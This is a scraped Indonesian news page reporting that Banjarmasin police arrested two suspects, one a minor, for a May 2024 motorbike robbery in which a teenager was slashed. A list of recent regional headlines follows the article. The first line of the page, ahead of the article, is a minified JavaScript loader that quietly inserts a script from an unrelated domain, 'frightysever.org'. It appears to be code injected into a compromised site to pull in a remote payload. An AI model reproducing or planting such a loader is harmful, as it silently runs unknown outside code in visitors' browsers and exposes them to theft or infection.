(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Dua Lelaki di Banjarmasin Rampas Sepeda Motor Lukai Korban


KANALKALIMANTAN.COM, BANJARMASIN – Satuan Reserse Kriminal (Satreskrim) Kepolisian Resort (Polres) Kota Banjarmasin berhasil membekuk dua pelaku kasus pencurian disertai dengan kekerasan yang menyebabkan korban mengalami luka.

Kejahatan jalanan itu terjadi pada Kamis (16/5/2024) malam, di Jalan Pegadaian, Kelurahan Pekapuran Laut, Kecamatan Banjarmasin, Kota Banjarmasin, Provinsi Kalimantan Selatan.

Kasat Reskrim AKP Eru Alsepa mengatakan, dua sekawan yang menjadi pelaku pencurian disertai kekerasan itu adalah AJM (20) dan seorang anak di bawah umur ARF (15).

Selain mengambil motor dan handphone, salah seorang pelaku juga melakukan pembacokan kepada korban bernama AJ (15).

Baca juga: Resmi! PPP Keluarkan Rekomendasi Aditya Maju Pilwali Banjarbaru

ARF, kata AKP Eru berperan dalam melakukan pembacokan, sementara AJM mengambil motor dan dan handphone AJ.

Atas kejadian itu, AJ mengalami luka pada kaki kiri akibat tebasan senjata tajam dan harus mendapatkan penangan medis. Sementara sebuah sepeda motor Honda Scoopy dan beserta dua handphone merk OPPO dan VIVO turut dirampas.

“Ibu korban tak terima atas kejadian itu dan melapor langsung ke Polres Banjarmasin untuk proses hukum lebih lanjut,” kata AKP Eru.

Setelah dilakukan penyelidikan, dua pelaku berhasil dibekuk Macan Resta di Jalan Sudimampir tepatnya kawasan Pasar Lima Kecamatan Banjarmasin Tengah, setelah aksi kejahatan perampasan, pada Minggu (19/5/2024) dini hari.

Saat penangkapan, turut diamankan barang bukti dua buah senjata tajam jenis parang dan samurai yang digunakan kedua pelaku saat beraksi. Lalu sepeda motor jenis matic Honda Scoopy milik AJ yang dirampas.

Baca juga: Dana Hibah Pengamanan Pilkada 2024 di Banjarmasin Capai Rp8 Miliar 

“Selanjutnya dua pelaku  dan barang bukti diamankan ke Polresta Banjarmasin guna diproses sesuai dengan hukum yang berlaku,” pungkas Kasatreskrim. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.